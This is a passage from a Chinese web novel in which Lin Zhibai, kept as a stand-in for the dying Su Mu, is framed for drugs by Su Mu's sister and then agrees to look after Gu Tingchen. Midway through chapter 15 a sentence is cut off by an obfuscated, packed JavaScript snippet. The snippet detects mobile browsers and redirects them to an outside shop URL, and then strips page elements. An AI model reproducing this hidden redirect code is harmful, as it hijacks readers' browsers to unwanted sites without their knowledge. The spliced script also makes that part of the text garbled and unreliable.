“我走了十年,他等了我十年。我以为是深情,其实是执念。他等的不是我,是他心里那个完美的梦。而你,你是真的。” 林知白张了张嘴,想说什么,但喉咙像是被什么堵住了。 “宿主!”小污的声音炸响,“本系统要哭了!这是白月光在托孤吗?” 林知白没理它。 他只是看着苏沐,看着那张和自己一模一样的脸上,那种释然的笑容。 “苏沐......”他终于开口,声音很哑,“你别这样。” “别哪样?” “别......把他说得好像真的在意我。” 苏沐愣了一下,然后笑了。 “林知白,你知道你最大的问题是什么吗?”他问。 林知白没说话。 “你太不相信自己了。”苏沐说,“你觉得自己不值得被爱,所以别人对你好一点,你就怀疑。你习惯了被伤害,所以别人真心对你,你也不敢信。” 林知白愣住了。 “你知道他今天为什么没来吗?”苏沐问。 “不知道。” “因为我没让他来。” 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“哎,你别哭啊。”苏沐笑着伸手,替他擦掉眼泪,“我都没哭,你哭什么?” 林知白这才发现,自己哭了。 “对不起......”他说,声音哑得不像自己,“我不该哭的......” “哭就哭了,有什么该不该的。”苏沐靠回床头,看着他,“林知白,答应我一件事。” “什么?” “以后对他好一点。”苏沐说,“他这个人,嘴硬心软,什么都不说,什么都憋在心里。你要多问,多问他就说了。” 林知白点点头。 “还有。”苏沐继续说,“他胃不好,别让他喝太多酒。他工作起来不要命,你要盯着他休息。他喜欢喝咖啡,但不能多喝,一天最多两杯。” 林知白又点点头。 “还有,他晚上容易失眠,你要陪他说说话。他什么都不说的时候,就是最难受的时候,你要抱抱他。” 林知白点头,眼泪止不住地流。 苏沐看着他,笑了。 “行了,别哭了。”他说,“你再哭,我都要哭了。” 林知白擦了擦眼泪,深吸一口气。 “苏沐。”他问,“你为什么......要跟我说这些?” 苏沐沉默了几秒。 然后他抬起头,看着窗外。 “因为我不想他一个人。”他说,“我陪不了他了,总得有人陪。” 阳光照在他脸上,把那张苍白的脸映得近乎透明。 林知白看着他的侧脸,突然想起那张照片。二十岁的苏沐,笑得灿烂,手里拿着白玫瑰。 那时候他以为,这辈子还有很多年。 “林知白。”苏沐突然转过头,看着他,“你能不能帮我一个忙?” “什么忙?” 苏沐从枕头底下拿出一个信封,递给他。 “等我走了以后,把这个给他。” 林知白接过信封,上面没有字,封得严严实实。 “这是什么?” “一封信。”苏沐笑了笑,“有些话,我不敢当面说。等我走了,你帮我转交。” 林知白握着那个信封,感觉沉甸甸的。 “你为什么不自己——” “因为我说不出口。”苏沐打断他,“我怕我说了,他会哭。他哭起来太丑了,我不想看。” 林知白愣了一下,然后忍不住笑了。 苏沐也笑了。 两个人笑着,笑着,眼眶都红了。 “行了,你走吧。”苏沐摆摆手,“再待下去,我真要哭了。” 林知白站起来,把信封小心地收好。 走到门口,他回过头。 苏沐靠在床头,阳光照在他身上,他闭着眼睛,嘴角还带着一点笑。 像是睡着了。 又像是,在做一场很长的梦。 林知白推开门,走了出去。 走廊里,消毒水的味道更浓了。 他靠在墙上,闭上眼睛。 “宿主。”小污的声音轻轻响起,“你还好吧?” 林知白没说话。 他只是站在那里,很久很久。 然后他听见脚步声,由远及近。 睁开眼。 顾霆琛站在走廊尽头,手里提着一个果篮,看着他。 两个人的目光在空中相遇。 顾霆琛快步走过来,上下打量他:“你怎么在这儿?” 林知白看着他,没有说话。 “苏沐叫你来的?”顾霆琛的眉头皱起来,“他跟你说什么了?” 林知白张了张嘴,想说什么。 但他什么都没说。 他只是伸出手,抱住了顾霆琛。 顾霆琛愣住了,果篮掉在地上,苹果滚了一地。 “林知白?” 林知白把头埋在他肩上,声音闷闷的: “顾霆琛。” “嗯?” “以后,别喝太多酒。别工作起来不要命。别一天喝超过两杯咖啡。晚上睡不着的时候,叫我,我陪你说说话。” 顾霆琛的身体僵住了。 很久之后,他抬起手,轻轻抱住林知白。 “好。”他说。 林知白没有告诉顾霆琛苏沐的病情。 那是苏沐的秘密,应该由苏沐自己说。 但三天后,苏沐的病情突然恶化。 顾霆琛接到电话的时候,正在陪林知白吃饭。 电话那头说了什么,林知白不知道。他只知道顾霆琛的脸色,一点一点变白,白得像纸。 14. 第 14 章 三天后。 林知白发现自己在数日子。 三天前,他从医院回来,把苏沐的信锁进抽屉,没有告诉顾霆琛任何事。 那天顾霆琛送他回家,在门口站了很久,欲言又止。 “你想问什么?”林知白看着他。 “苏沐......跟你说了什么?” 林知白沉默了几秒:“你应该去问他。” 顾霆琛看着他,眼神复杂。 “林知白,不管他说了什么——” “他没说什么。”林知白打断他,“就是聊了聊天。你放心,他没抢我,我也没抢他。” 顾霆琛皱起眉头:“我不是这个意思——” “那你是什么意思?” 顾霆琛张了张嘴,没说出话。 林知白看着他,突然笑了。 “顾霆琛,你知道吗,有时候我觉得你挺可怜的。” “可怜?” “嗯。”林知白点点头,“你想要的东西太多了,又什么都抓不住。想要苏沐,又放不下我。想要过去,又舍不得现在。最后,可能什么都得不到。” 他推开门,走进去。 “晚安。” 门在身后关上。 那天晚上,顾霆琛在门口站了很久。 林知白知道,因为他也没睡,就坐在卧室的窗台上,看着楼下那个身影。 月光把他的影子拉得很长。 “宿主。”小污的声音幽幽响起,“你们两个好奇怪哦。” “哪里奇怪?” “一个在门口站着,一个在窗台上看着。明明就隔着一扇门,非要演出生死两隔的戏码。” 林知白没理它。 “而且你们还都失眠!”小污继续说,“本系统的数据显示,你昨晚只睡了三个小时,顾霆琛更惨,两个小时。你们两个加起来还没一只猫睡得多。” “你能不能闭嘴?” “不能,本系统需要吐槽来维持能量。” 林知白翻了个白眼。 接下来的两天,顾霆琛好像变了个人。 他推掉了所有应酬,每天按时下班,回来做饭。吃完饭就陪林知白看电视,虽然看的什么两个人都不知道。偶尔聊几句,大多数时候安静地坐着。 但那种安静,不再是尴尬的沉默,而是一种奇怪的......默契。 “宿主。”小污第N次发出警告,“事出反常必有妖!根据本系统对三千六百部虐恋小说的研究,这种岁月静好的日子,通常持续不了三天!” “今天正好第三天。”林知白说。 “......”小污沉默了两秒,“本系统什么都没说。” 林知白笑了笑,继续看电视。 电视里在放什么综艺,笑声罐头一阵一阵的。他靠在沙发上,顾霆琛坐在旁边,两个人的手隔着二十厘米的距离。 谁都没往那边看。 但谁都知道对方在想什么。 手机响了。 不是林知白的。 顾霆琛看了一眼屏幕,眉头微微皱起,接起来。 “喂?” 电话那头说了什么。 林知白看见顾霆琛的脸色,一点一点变白。 白得像纸。 “我知道了。”他的声音很稳,但林知白看见他握着手机的手在抖,“我马上过来。” 他挂断电话,站起来。 林知白也站起来:“怎么了?” 顾霆琛看着他,眼神里有林知白从未见过的东西——恐惧。 是恐惧。 那个永远冷漠、永远掌控一切的男人,眼睛里全是恐惧。 “苏沐。”他的声音有点抖,“住院了。情况不好。” 林知白的心猛地沉下去。 “我陪你去。” 顾霆琛愣了一下。 “你......” “我陪你去。”林知白拿起外套,“走吧。” 两个人冲出门,车子一路飞驰。 顾霆琛开得很快,快得超速,但他的手一直很稳。只有林知白看见,他握着方向盘的手指节泛白。 “宿主。”小污的声音轻轻响起,“他好紧张。” “嗯。” “他的心率一百四了。” “嗯。” “你也是,一百三。” 林知白没说话。 他只是看着窗外飞速后退的风景,心里反复回响着苏沐那天说的话—— “我快死了。” 车子在医院门口停下,顾霆琛冲进去,林知白跟在后面。 急救室的灯亮着,红得刺眼。 走廊里站着几个人,有医生,有护士,还有一个女人——三十岁左右,穿着优雅,脸上带着泪痕。 林知白认出她。 苏晴。 苏沐的妹妹。 “顾总!”苏晴看见顾霆琛,立刻扑过来,“我哥他......我哥他......” 顾霆琛扶住她:“怎么回事?昨天还好好的!” “我也不知道......”苏晴哭着说,“今天早上他突然说胸口闷,我就叫了救护车。路上他就晕过去了,医生说是急性心力衰竭......” 顾霆琛的脸色更难看了。 他松开苏晴,转身看向急救室的门。 那扇门紧紧关着,像一道无法逾越的墙。 林知白站在旁边,看着他的背影。 那个背影,从来没有这么脆弱过。 “宿主。”小污的声音很轻,“他快站不住了。” 林知白走过去,站在顾霆琛身边。 没说话,只是站着。 顾霆琛偏过头,看着他。 那眼神太复杂了,有感谢,有愧疚,还有一点林知白看不懂的东西。 “我没事。”顾霆琛说,声音哑得不像他。 “嗯。”林知白点点头,“我知道。” 两个人就这么站着,一起看着那扇门。 时间一分一秒过去。 不知道过了多久,急救室的门终于开了。 医生走出来,摘下口罩。 “谁是家属?” “我!”苏晴冲上去,“我是他妹妹!” 医生看了她一眼,又看了看顾霆琛,然后目光落在林知白身上,愣了一下——大概是惊讶于他和苏沐长得那么像。 “病人暂时脱离危险了。”医生说,“但是......” “但是什么?”顾霆琛上前一步。 医生沉默了几秒:“但是他的情况很不好。心脏功能严重衰竭,需要尽快移植。问题是......合适的供体很难找。” 顾霆琛的脸色变了。 “需要多少钱?”他问,“我有钱,多少都行——” “顾先生。”医生打断他,“不是钱的问题。心脏移植需要匹配的血型、组织类型,还要在有效时间内找到合适的供体。苏先生的血型是AB型,这种血型的供体本来就少,还要匹配......很难。” 顾霆琛愣住了。 “而且他的身体状况,可能撑不了太久。”医生叹了口气,“你们要做好心理准备。” 心理准备。 这四个字像一记重锤,砸在每个人心上。 苏晴捂着嘴哭了。 顾霆琛站在原地,一动不动。 林知白看着他,想说什么,但什么都说不出来。 “病人醒了,可以进去看看,但不要太久。”医生说。 顾霆琛迈步往里走。 走了几步,他停下来,回头看向林知白。 林知白对上他的目光,笑了笑:“去吧,我在这儿等你。” 顾霆琛看了他几秒,点点头,推门进去。 走廊里只剩下林知白和苏晴。 苏晴还在哭,肩膀一抽一抽的。她从包里掏出纸巾,擦了擦眼泪,然后抬头看向林知白。 “你是......林知白?” “嗯。” 苏晴看着他,眼神复杂。 “你跟我哥......长得真像。” “我知道。” 苏晴沉默了几秒,突然说:“你知道我哥为什么找你吗?” 林知白愣了一下。 “不是顾霆琛找的你。”苏晴说,“是我哥。” 林知白的心猛地抽紧:“你说什么?” 苏晴看着他,眼睛还红着,但眼神很认真。 “我哥回国之前,就查到了你。他知道有个人和他长得一模一样,被顾霆琛养着。他让我去查你的底细。” 林知白站在原地,像是被钉住了。 “然后呢?” “然后他跟我说,这个人太可怜了。”苏晴的声音有点抖,“他说,他被当成替身,什么都不知道,就这么稀里糊涂地活着。他说,他得回来,不是抢回顾霆琛,是......把你从替身的位置上解救出来。” 林知白的眼睛慢慢睁大。 “他说,你不该活在他的影子里。”苏晴继续说,“他说,你应该是你自己,不是谁的替代品。” 走廊里安静得能听见自己的心跳。 林知白张了张嘴,想说什么,但喉咙像是被什么堵住了。 “宿主。”小污的声音响起,难得地正经,“你听到了吗?” 林知白没说话。 他只是站在那里,脑海里反复回响着苏晴的话—— “把你从替身的位置上解救出来。” “你应该是你自己。” 原来苏沐回来,不是为了抢回顾霆琛。 是为了他。 “他为什么不告诉我?”林知白终于开口,声音很哑。 苏晴看着他,眼眶又红了。 “因为他不想让你觉得亏欠他。”她说,“他说,他本来就活不了多久了,能做点好事就做点好事。他说,这是他这辈子,最后一件想做的事。” 林知白站在原地,感觉有什么东西在胸口翻涌。 是感动? 是难过? 还是别的什么? 他不知道。 他只知道,这一刻,他想冲进病房,告诉苏沐—— 你做到了。 你把我从影子里拉出来了。 可是我真的值得吗? “宿主。”小污的声音轻轻响起,“你哭了。” 林知白抬起手,摸了摸自己的脸。 湿的。 他真的哭了。 这是第几次了? 他不知道自己什么时候变得这么爱哭。 苏晴看着他,递过来一张纸巾。 “别哭了。”她说,“我哥最讨厌看人哭了。他说,哭解决不了任何问题。” 林知白接过纸巾,擦了擦脸。 “谢谢你告诉我这些。”他说。 苏晴摇摇头:“应该的。你......值得知道。” 两个人沉默地站在走廊里,各自想着各自的心事。 不知道过了多久,病房的门开了。 顾霆琛走出来,眼眶有点红,但表情已经恢复了平静。 “他睡了。”他说,“医生说暂时稳定了。” 林知白看着他, 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“嗯?” “如果......”他顿了顿,“如果苏沐真的......你会怪我吗?” 林知白转过头,看着他。 “怪你什么?” “怪我......”顾霆琛的声音有点涩,“怪我心里有他。” 林知白沉默了几秒。 然后他说:“顾霆琛,你知道吗,苏沐跟我说过一句话。” “什么话?” “他说,你太不相信自己了。”林知白看着他,“他说,你不觉得自己值得被爱,所以别人对你好一点,你就怀疑。你习惯了被伤害,所以别人真心对你,你也不敢信。” 顾霆琛愣住了。 “这话是他说的,但我觉得,也是在说你。”林知白笑了笑,“你也一样。你也不相信自己值得被爱。” 车子在红灯前停下。 顾霆琛转过头,看着他。 那眼神里,有什么东西碎了,又有什么东西正在重新拼起来。 “林知白。” “嗯?” “如果我说,我现在想好好对你,还来得及吗?” 林知白看着他的眼睛。 那双眼睛里,有疲惫,有紧张,有期待,还有一点害怕。 他想起苏沐说的话—— “别怕。别因为害怕受伤,就不敢去爱。” 他深吸一口气。 “来得及。”他说,“只要你真心。” 绿灯亮了。 后面的车在按喇叭,顾霆琛没有动。 他只是看着林知白,眼眶慢慢红了。 然后他踩下油门,车子继续往前开。 开过一条条街道,穿过一个个路口。 两个人都没说话。 但有什么东西,在这沉默里,悄悄改变了。 回到别墅,顾霆琛停好车,两个人一起进门。 客厅的灯还亮着,阿姨走之前开的。 林知白换鞋的时候,手机响了。 是一个陌生号码。 他接起来。 “请问是林知白先生吗?” “我是。” “这里是XX分局,我们接到报案,您涉嫌一桩涉毒案件,请您配合调查,明天上午来一趟分局。” 林知白愣住了。 “什么?” “具体细节明天再说。请您准时到,否则我们会采取强制措施。” 电话挂了。 林知白握着手机,站在原地。 “怎么了?”顾霆琛走过来。 林知白抬起头,看着他。 “警察局打来的。”他说,声音很平静,“说我涉嫌涉毒,让我明天去配合调查。” 顾霆琛的脸色变了。 “什么?不可能!” 林知白看着他,没说话。 他想起那天在饭局上,苏晴约他喝咖啡。 他想起那天晚上,他一个人走在街上,什么都没做。 他想起苏晴说的那些话,还有她看着自己的眼神。 他突然明白了。 苏晴说的那些,有多少是真的? 有多少是假的? 她真的是在为哥哥说话吗? 还是在......布局? “宿主!”小污的声音炸响,“这是陷害!是苏晴!一定是她!” 林知白没说话。 他只是看着顾霆琛,看着那张脸上的震惊和愤怒。 然后他想知道—— 这一次,他会怎么做? 第二天,林知白去了警察局。 顾霆琛陪着他。 询问持续了四个小时,林知白把所有事情都交代了。 出来的时候,顾霆琛接了个电话。 挂断电话,他的脸色很难看。 “是苏晴。”他说,“她承认了,是她报的假案。” 林知白没说话。 “她说她恨你。”顾霆琛的声音很沉,“她说,如果没有你,苏沐回来的时候,我还会像以前一样对他。是你毁了一切。” 林知白抬起头,看着他。 “那你呢?”他问,“你觉得,是我毁了一切吗?” 15. 第 15 章 警察局的询问室比想象中冷。 林知白坐在硬邦邦的椅子上,对面是两个警察,一个中年,一个年轻。中年警察表情严肃,年轻警察拿着笔做记录。 “姓名?” “林知白。” “年龄?” “二十。” “职业?” 林知白顿了顿:“学生。” 中年警察抬起头,看了他一眼:“学生?那你怎么会住在那样的地方?” 林知白没说话。 “林知白。”中年警察把一份文件推到他面前,“有人报案,说你涉嫌吸毒、□□。这是搜查令,今天早上我们已经派人去你住的地方查过了。” 林知白的心猛地沉下去。 “查到了什么?” 中年警察看着他,没有回答。 旁边年轻警察的手指在键盘上敲了几下,然后把屏幕转过来给他看。 是一张照片。 照片里是一个透明的塑料袋,里面装着白色粉末。背景是熟悉的——顾霆琛别墅的浴室,洗手台,镜子。 林知白的眼睛慢慢睁大。 “这不是我的。” “这东西是在你住的房间里找到的。”中年警察说,“浴室洗手台下面的柜子里,藏得很隐蔽。房东指认,那个房间是你住的。” 林知白张了张嘴,想说什么,但脑子里一片空白。 “宿主!”小污的声音炸响,“这是栽赃!绝对是栽赃!” 林知白当然知道是栽赃。 可是证据摆在眼前,他百口莫辩。 “我要求见我的律师。”他说。 中年警察点点头:“可以。但在律师来之前,你得先交代清楚。这东西哪儿来的?吸了多久?还有没有同伙?” “我没有吸毒。”林知白一字一字说得很清楚,“我没见过这东西,不知道它是怎么出现在我房间的。” “那你说说,谁有可能放进去的?” 林知白沉默了。 他能说谁? 说苏晴? 他有证据吗? “林知白。”中年警察的声音缓下来,“你还年轻,坦白从宽。如果是被人陷害的,说出来,我们查清楚。” 林知白抬起头,对上他的目光。 那目光里没有恶意,甚至有一点同情。 “我不知道是谁。”他说,“但我是被冤枉的。” 询问持续了四个小时。 同样的问题反复问,林知白反复回答。 他的回答始终不变:我不知道,我没做过,我是被冤枉的。 年轻警察的笔录做了厚厚一沓。 中年警察的眉头越皱越紧。 “林知白。”他终于站起来,“今天就到这儿。我们会继续调查,但这段时间你不能离开本市,随时配合传唤。明白吗?” 林知白点点头。 走出询问室的时候,他的腿有点软。 走廊里,顾霆琛站在那儿。 他看见林知白,快步走过来,上下打量。 “没事吧?” 林知白摇摇头。 顾霆琛看着他,眼神里有心疼,有愤怒,还有一种林知白看不懂的东西。 “走,回去说。” 两个人走出警察局。 外面阳光很好,刺得林知白眼睛疼。 他眯了眯眼,感觉这个世界有点不真实。 四个小时前,他还在家里吃早餐。 四个小时后,他成了涉毒嫌疑人。 车子开回别墅,林知白刚下车,就看见门口站着一个人。 苏晴。 她穿着一身黑色连衣裙,戴着墨镜,看见他们回来,摘下墨镜,露出红肿的眼睛。 “顾总。”她迎上来,“我哥他——” “苏晴。”顾霆琛打断她,声音冷得像冰,“你跟我来。” 他看了林知白一眼:“你先上去。” 林知白看着苏晴,那张脸上还有泪痕,眼神却在他身上扫过,带着一点不易察觉的得意。 他的心沉了下去。 “宿主。”小污的声音响起,“这个女人有问题!大问题!” 林知白没说话,转身上楼。 但他没有进卧室。 他站在楼梯拐角,能听见客厅里的声音。 “苏晴。”顾霆琛的声音传来,“那东西是不是你放的?” 沉默。 然后是苏晴的声音,带着哭腔:“顾总,你说什么?我听不懂。” “别装了。”顾霆琛的声音更冷了,“警察去搜查之前,只有你进过那栋房子。昨天你说来看苏沐,顺便去看看林知白,送了点东西。你送的是什么?” 又是沉默。 然后苏晴笑了。 那笑声很轻,但林知白听得清清楚楚。 “顾霆琛,你果然聪明。”她的声音变了,不再是刚才那个哭哭啼啼的妹妹,“可是聪明有什么用?证据已经在那儿了。你保不了他。” 林知白的手指攥紧了栏杆。 “为什么?”顾霆琛问。 “为什么?”苏晴的声音尖锐起来,“你问我为什么?我哥等了你十年,十年!他为了你,一个人在异国他乡治病,疼的时候没人陪,哭的时候没人哄。好不容易回来了,结果呢?你身边已经有别人了!” “苏沐他——” “我哥他什么都为你着想!”苏晴打断他,“他跟我说,别怪顾霆琛,他有权利开始新生活。他说,林知白是个好人,让我对他好一点。可是我不甘心!我不甘心!” 林知白闭上眼睛。 原来是这样。 原来苏晴做这一切,是为了苏沐。 “所以你栽赃他?”顾霆琛的声音很沉,“你知道这样会毁了他吗?” “毁了他?”苏晴冷笑,“毁了他算什么?他毁了我哥十年的等待!他凭什么?就凭那张脸?” “苏晴——” “顾霆琛。”苏晴的声音突然平静下来,“你知道吗,我哥活不了多久了。医生说最多半年。这半年,我只想让他开开心心的。可你呢?你天天陪着那个人,把我哥一个人扔在医院里。” 林知白的心猛地抽紧了。 “你知不知道,我哥昨天晚上又抢救了一次?”苏晴的声音开始发抖,“你知不知道,他醒过来第一句话问的是——‘顾霆琛来了吗’?” 客厅里安静了。 林知白站在楼梯拐角,一动不动。 “顾霆琛。”苏晴的声音越来越轻,“我不求你爱我哥,我只求你,在他还活着的时候,多陪陪他。这要求过分吗?” 很久之后,顾霆琛的声音响起: “不过分。” 林知白听见这三个字,像是被什么刺了一下。 “可是林知白——” “我知道。”顾霆琛打断她,“我会处理。” 处理? 怎么处理? 林知白没有听下去。 他转身上楼,走进卧室,关上门。 坐在床边,他看着窗外发呆。 阳光很好,好得刺眼。 “宿主。”小污的声音轻轻响起,“你还好吧?” “挺好的。” “你听到他们说的话了?” “嗯。” “那你怎么想?” 林知白沉默了几秒。 “我在想。”他说,“苏沐快死了。” 小污没说话。 “他等了顾霆琛十年。”林知白继续说,“他回来的时候,顾霆琛身边已经有别人了。他什么都没说,还替我想,还替他着想。他妹妹看不过去,替他出气,栽赃我。” “宿主,你不会是同情苏晴吧?” “不是同情。”林知白摇摇头,“我只是在想,换我是苏沐,换我是苏晴,我会怎么做?” 小污沉默了。 “我不知道。”林知白说,“但我大概......也不会比她好多少。” 楼下传来关门的声音。 然后是脚步声上楼,停在卧室门口。 敲门声。 “林知白?” 林知白站起来,打开门。 顾霆琛站在门口,看着他,眼神复杂。 “你都听见了?” 林知白点点头。 顾霆琛沉默了几秒。 “苏晴那边,我会处理。”他说,“警察那边,我也会处理。这件事不会影响到你。” 林知白看着他,没有说话。 “但是苏沐......”顾霆琛的声音顿了顿,“他确实情况不好。医生说,可能撑不过一个月。” 林知白的心沉了下去。 一个月。 比他想象的还要短。 “顾霆琛。”他开口。 “嗯?” “你去陪他吧。” 顾霆琛愣住了。 “你说什么?” 林知白看着他,笑了笑。 “我说,你去陪他吧。”他说,“他等了你十年,最后一个月,你应该陪着他。” 顾霆琛张了张嘴,想说什么,但什么都说不出来。 “林知白,你——” “我没事。”林知白打断他,“真的。他比我需要你。” 顾霆琛看着他,眼眶慢慢红了。 他伸出手,把林知白拉进怀里,抱得很紧。 林知白没有挣扎。 他只是靠在他肩上,闻着他身上熟悉的气息。 “对不起。”顾霆琛的声音在他耳边响起,哑得不像话,“对不起,林知白。” 林知白没说话。 他只是想—— 有什么对不起的? 你本来就不是我的。 那天晚上,顾霆琛去了医院。 林知白一个人坐在客厅里,电视开着,不知道在放什么。 手机响了。 是苏沐发来的消息: 【对不起。】 林知白看着这两个字,沉默了很久。 然后他回复: 【你有什么对不起的?】 过了很久,苏沐回复: 【我妹妹做的事,我替她道歉。】 林知白看着这行字,突然笑了。 他打了几个字,发过去: 【不用。换我是她,我也会这么做。】 苏沐那边沉默了。 很久之后,他发来一条消息: 【林知白,你是个好人。】 林知白看着这行字,笑了。 好人。 这个词真奇怪。 他放下手机,靠在沙发上。 窗外夜色渐浓,客厅里只有电视的光在一闪一闪。 “宿主。”小污的声音响起,“你真的让他去了?” “嗯。” “你不难过?” 林知白沉默了几秒。 “难过。”他说,“但没办法。” “什么叫没办法?” “小污。”林知白看着天花板,“你知道苏沐快死了吗?” 小污没说话。 “他等了他十年。”林知白继续说,“十年,你知道多长吗?三千六百多天。每一天都在等,等一个可能永远回不来的人。” “可是你——” “我什么?”林知白打断它,“我才认识他不到两个月。两个月和十年,怎么比?” 小污沉默了。 “而且。”林知白的声音轻下来,“如果我不让他去,万一苏沐真的死了,他会恨我一辈子。” “那你呢?” “我?” “你会恨他吗?” 林知白看着天花板,想了很久。 “不知道。”他说,“可能不会吧。” 客厅里安静下来。 电视里在放什么综艺,笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432115|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声罐头一阵一阵的。 林知白闭上眼睛。 那天晚上,他做了一个梦。 梦里他站在一片很大的雾里,什么都看不清。他往前走,一直往前走,然后看见两个人影。 一个是顾霆琛,一个是苏沐。 他们站在一起,手牵着手,对着他笑。 他想走过去,但怎么走都走不到。 他想喊他们的名字,但喊不出声。 然后雾越来越浓,越来越浓,把他们吞没了。 林知白醒来的时候,天已经亮了。 他发现自己蜷缩在沙发上,身上盖着一条毯子。 是谁盖的? 他不知道。 手机上有十几条未读消息。 都是顾霆琛发的。 【苏沐醒了,想吃我做的粥。】 【我做了送过来,他吃了半碗。】 【他说谢谢你。】 【他说,等他好了,请你吃饭。】 【林知白,你睡了吗?】 【晚安。】 林知白一条一条往下翻,翻到最后一条。 时间是凌晨四点十七分。 【我想你了。】 林知白盯着这行字,看了很久。 然后他把手机放到一边,闭上眼睛。 小污的声音轻轻响起:“宿主,你哭了吗?” “没有。” “可是本系统的湿度传感器——” “坏了。” 林知白翻了个身,把脸埋进毯子里。 毯子上有顾霆琛的气息。 他也不知道自己什么时候记住这个味道的。 三天后,苏晴来了一趟。 她站在门口,脸色憔悴,眼睛红肿。 “林知白。”她说,“我来道歉。” 林知白看着她,没说话。 “我做错了。”她继续说,“我不该栽赃你。我哥骂了我三天,说我太自私了。他说,你什么都没做错,我凭什么害你?” 林知白还是没说话。 苏晴的眼眶红了。 “我知道错了。警察那边,我去说清楚,说是我栽赃的。”她的声音开始发抖,“我求你,别怪我哥。他什么都不知道。” 林知白看着她。 那张脸上,有苏沐的影子。 他想起苏沐说的那些话—— “我不想他一个人。” “你替我好好照顾他。” 他叹了口气。 “我不怪你。”他说。 苏晴愣住了。 “你说什么?” 林知白看着她,笑了笑。 “我说,我不怪你。”他说,“换我是你,我可能也会这么做。” 苏晴的眼泪一下子涌出来。 她捂着脸,哭得说不出话。 林知白站在门口,看着她哭。 阳光从身后照过来,在他面前投下长长的影子。 “宿主。”小污的声音轻轻响起,“你变了。” 林知白愣了一下。 “变了?” “以前的你,会生气,会难过,会哭。”小污说,“现在的你,会理解,会原谅,会笑。” 林知白沉默了几秒。 然后他笑了笑。 “是吗?” “是。”小污说,“你长大了。” 林知白没说话。 他只是看着苏晴哭完,擦干眼泪,离开。 然后他关上门,回到空荡荡的客厅里。 坐在沙发上,他看着窗外。 阳光很好。 他想,这个时候,顾霆琛应该正在医院陪苏沐吧。 苏沐今天怎么样? 有没有好一点? 有没有吃顾霆琛做的饭? 他想着这些,嘴角慢慢弯起一个弧度。 “宿主。”小污的声音响起,“你真的不介意?” 林知白想了想。 “介意。”他说,“但是可以接受。” “有什么区别?” “介意是心里不舒服。”林知白说,“接受是知道这是对的。” 小污沉默了。 很久之后,它的声音再次响起: “宿主,你真的长大了。” 林知白笑了笑,没说话。 窗外的阳光慢慢移动,在地板上画出一道金色的轨迹。 他想,也许这就是成长吧。 不是不难过,是知道难过也没用。 不是不介意,是知道介意也改变不了什么。 不是不想要,是知道自己想要什么,也愿意成全别人想要的。 手机响了。 是顾霆琛的消息: 【苏沐今天好多了,说想见你。】 林知白看着这行字,愣了一下。 想见他? 苏沐想见他? 他打了几个字发过去: 【什么时候?】 顾霆琛回复得很快: 【现在,可以吗?我来接你。】 林知白看着屏幕,沉默了几秒。 然后他站起来,走进卧室,换了一身衣服。 对着镜子,他看了看自己。 镜子里的人,眼睛下面有点青,但眼神很平静。 他对着镜子笑了笑。 “走吧。”他说。 林知白再次来到医院。 病房里,苏沐靠在床头,脸色比上次更苍白,但精神好像好了一点。 他看见林知白,笑了笑。 “来了?” 林知白点点头,在床边坐下。 苏沐看着他,看了很久。 然后他开口: “林知白,我想求你一件事。” “什么事?” 苏沐沉默了几秒,然后说: “等我走了以后,你帮我照顾顾霆琛。别让他一个人。” 16. 第 16 章 病房里的消毒水味道比上次更浓了。 林知白坐在床边,看着苏沐。三天不见,他又瘦了一圈,颧骨高高突起,眼窝深深陷下去,只有眼睛还是亮的。 “来了?”苏沐笑了笑,抬起手轻轻挥了挥,动作慢得像放了慢镜头。 林知白点点头,在椅子上坐下。 苏沐看着他,看了很久。 然后他开口:“林知白,我想求你一件事。” “什么事?” 苏沐沉默了几秒,然后说:“等我走了以后,你帮我照顾顾霆琛。别让他一个人。” 林知白愣住了。 这话苏沐上次说过一次,但这次听起来,格外沉重。 “你......”林知白张了张嘴,“你别这么说,你还能——” “能活多久?”苏沐替他说完,笑了笑,“林知白,咱们别自欺欺人了。我自己的身体,我知道。” 林知白没说话。 苏沐转过头,看着窗外。今天的阳光很好,透过玻璃照进来,在病床上投下一片金色的光斑。 “我刚才做了个梦。”他说,声音很轻,“梦见十年前,我和他刚在一起的时候。那时候我们穷,租的地下室,冬天冷得跟冰窖似的。他把我裹在被子里,自己跑出去买热豆浆。” 林知白听着,没有说话。 “他跑回来的时候,脸都冻红了,豆浆还是热的。”苏沐的嘴角弯起一个弧度,“他说,快喝,喝完就不冷了。” 病房里安静了几秒。 “那时候我想,这辈子就是他了。”苏沐继续说,“可惜......这辈子太短了。” 林知白的喉咙动了动。 “苏沐。”他终于开口,“你别这么说。” “那怎么说?”苏沐转过头,看着他,“说我还能活十年?二十年?林知白,我不傻,你也不傻。咱们面对现实吧。” 林知白没说话。 苏沐看着他,眼神里有一丝心疼。 “林知白,你知道吗,我最放心不下的就是他。”他说,“他这个人,看着冷,其实最重感情。我走了以后,他肯定会难受。我怕他难受的时候,没人陪他。” “他还有我。”林知白脱口而出。 说完他自己愣住了。 苏沐也愣了一下,然后笑了。 “对,他还有你。”他说,“所以我才求你,替我照顾他。” 林知白张了张嘴,想说什么,但又不知道说什么。 “宿主。”小污的声音轻轻响起,“你这是答应了?” 林知白没理它。 他只是看着苏沐,看着那张和自己一模一样的脸上,那种释然的笑容。 “我答应你。”他说。 苏沐的眼睛亮了一下。 “谢谢。”他说,“谢谢你,林知白。” 林知白摇摇头,想说不用谢,但喉咙像是被什么堵住了。 手机响了。 是顾霆琛的消息: 【我到了,在楼下,买了你们爱吃的。】 林知白看着这行字,愣了一下。 “他来了?”苏沐问。 “嗯,在楼下。” 苏沐笑了笑:“让他上来吧。” 林知白发了消息,几分钟后,顾霆琛推门进来。他手里提着两个袋子,一个装着水果,一个装着打包盒。 “买了粥,还有小菜。”他把东西放在床头柜上,“你们俩都吃点。” 苏沐看着他,眼神温柔。 “顾霆琛。”他说。 “嗯?” “你过来。” 顾霆琛走过去,在床边坐下。 苏沐伸出手,握住了他的手。 那只手很凉,凉得不像活人的手。 顾霆琛的眼眶红了。 “苏沐......” 